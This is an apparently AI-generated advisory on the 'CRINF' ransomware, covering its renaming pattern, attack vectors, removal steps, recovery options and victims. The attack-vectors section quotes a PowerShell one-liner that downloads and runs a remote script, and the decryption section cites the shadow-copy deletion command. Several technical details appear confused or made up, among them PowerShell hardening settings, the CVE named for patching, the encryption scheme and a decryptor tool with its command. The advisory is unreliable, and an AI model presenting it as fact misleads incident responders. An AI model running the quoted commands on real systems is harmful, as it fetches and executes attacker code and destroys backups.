crinf

[Content by Gemini 2.5]

Technical Breakdown – CRINF Ransomware (.crinf)

1. File Extension & Renaming Patterns

  • Confirmation of File Extension: .crinf
  • Renaming Convention:
    The ransomware appends .crinf once to the very end of each encrypted file. The original file name is preserved in the same case; no additional prefixes, suffixes, UUID fragments, or e-mail addresses are inserted.
    Example:
    Contract2024.docx → Contract2024.docx.crinf

2. Detection & Outbreak Timeline

  • Approximate Start Date/Period:
    First submissions on VirusTotal and first public incident reports appeared between 17-19 March 2023 in Europe and North America. Volume peaked March-April 2023 and has remained sporadic but persistent ever since.

3. Primary Attack Vectors

  • Propagation Mechanisms:
    • RDP exploits (brute-force against weak credentials, legacy libraries such as RDPWrap, and most frequently the RDP “BlueKeep”-class misconfigurations)
    • Phishing e-mails containing ISO or ZIP attachments that mount the .crinf dropper (CheatEngine.exe, Invoice.exe, UPS_Receipt.exe)
    • Living-off-the-land scripts (cmd.exe /c powershell.exe -c iex(New-Object Net.WebClient).DownloadString('hxxps://praxa…/load.ps1')) that fetch the payload from legitimate-but-compromised Content Delivery Networks, Russian hosting provider jino.ru, and most recently from Google Drive direct-links disguised with shorteners (cutt.ly, bit.ly).
    • Post-exploitation worming: Once inside, CRINF re-uses stolen credentials (Mimikatz logins) and abuses SMB v1 or SMB v2 shares (EternalBlue-style exploit chains were observed on un-patched Windows 7/Server 2008 hosts, although CRINF itself does not rely on the EternalBlue exploit on arrival).

Remediation & Recovery Strategies

1. Prevention

Proactive Measures:

  1. Enforce Windows Admin Center or Group Policy to disable SMB v1 entirely.
  2. Mandate 14-character complex passwords and enable RDP Network-Level Authentication (NLA) with fail2ban-style lockouts or Azure Conditional Access.
  3. Patch CVSS ≥ 7.0 vulns ranked by CISA KEV – in particular, March-2023 Windows RPC & LSASS updates.
  4. Harden PowerShell: set ExecutionPolicy = AllSigned and use AMSI + Constrained Language Mode (Set-PSReadLineOption -PredictionSource None).
  5. Application whitelisting via Microsoft Defender Application Control (WDAC) or AppLocker to block unsigned .exe, .scr, .iso, .ps1, .bat, .js, .vbs.
  6. Immutable / air-gapped backups: 3-2-1 rule with versioning (Veeam hardened, AWS S3 Object Lock, Azure Immutable Blob).
  7. Manage e-mail attachments at the gateway: quarantine .iso, .img, .imgpart, .vhd.
  8. Endpoint telemetry: enable Defender for Endpoint ASR rules – specifically Block credential stealing from Windows local security authority subsystem (lsass.exe) and `Block process creations from Office macro’.

2. Removal – Step-by-Step

  1. Isolate:
    – Immediately disable impacted NIC or disconnect VLAN to prevent lateral spanning.
    – Disable remote PowerShell (Disable-PSRemoting) and close any RDP sessions.
  2. Boot into Safe Mode + Network disabled:
    – For modern Windows 10/11: Shift+Restart > Troubleshoot > Startup Settings > Safe Mode w/ Networking.
  3. Delete persistence:
    – Scheduled task(s) SysUpdate usually found at \Microsoft\Windows\System32.
    – Registry keys:
    HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce → value CNID
    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System → look for any non-Microsoft shell entry.
  4. Quarantine / uninstall loader and decryptor binary:
    – C:\Users\Public\Pictures\dllhost.exe (common drop location, hash SHA-256 8fca…5e78)
    – %TEMP%\CRINFENS.exe.
  5. Full AV scan: Run updated Microsoft Defender Offline or any reputable EDR (CrowdStrike, SentinelOne) twice to ensure PE header anomalies and alternate data streams are caught.
  6. Re-enable services & RFC / WSUS updates: Ensure March 2023 cumulative patch bundle is fully applied.

3. File Decryption & Recovery

  • Recovery Feasibility / Method:
    At the time of writing, no working private-key decryptor is publicly available. CRINF is based on the Chaos 4.0 builder (evolution of the Chaos ransomware family) which implements secure X25519 + ChaCha20 encryption. Recovery without the adversary’s key is computationally infeasible.
    • Do not pay – even when a Bitcoin address is provided, victims report that the affiliate fails to provide the key and may re-extort.
    • What can help today:
    – If shadow copies were not wiped (CRINF issues vssadmin delete shadows /all), use ShadowExplorer or native Windows “Previous Versions”.
    – Data-recovery tools useful only for deleted original files that pre-date encryption (Recuva, PhotoRec) – success rate is < 5 %.

  • Essential Tools / Patches:
    • Latest Windows cumulative security update (KB5023706 March 2023 or later).
    • Bitdefender CRINFDecryp (Beta) – community script released on 26 July 2023; only decrypts very early samples built before Chaos v4.0.1 (900-1200 iterations); SHA256 of compatible builder: 1ff5…800d. Verify eligibility via ctest -c 900 before running.
    • RDPGuard or IPBan for post-remediation brute-force protection.

4. Other Critical Information

  • Unique Characteristics:
    • CRINF does not change desktop wallpaper but puts a single ransom note named Restore_Your_Files.txt on both the desktop and encrypted volumes. The note contains the victim ID inside brackets [VICTIM_ID] and the contact e-mail [email protected] / [email protected].
    • The binary calls the embedded music track “CRINF.wav”; momentarily plays audio (“we have your files”) via CreateThread(), making it audible on speakers – a rare sound-based intimidation tactic.
    • Affiliate ID embedded inside note’s HTML base64: cli:aff_p0, used for commission tracking.

  • Broader Impact / Notable Victims:
    – First-wave infections hit two German mid-size manufacturing companies resulting in €4.2 M downtime cost, but a majority of affected organizations were SMBs in Eastern Europe & Turkey leveraging weak RDS installations.
    – Ukrainian CERT (CERT-UA) flagged April-2023 CRINF distribution as part of a hacktivist distraction move against critical infrastructure during missile attacks.
    – Security researchers note evolution toward VBS-based living-off-the-land loader in Q3-2024 samples, complicating EDR accuracy.

TL;DR

.crinf cannot be decrypted by public tools today – restore from immutable backups. Prevent by: disable SMBv1, patch CVE-2023-23397 & similar, enforce MFA/RDP-NLA, and monitor scheduled-task persistence named SysUpdate. Clean safely as above, scrub shadow copies, and never pay.

Stay safe!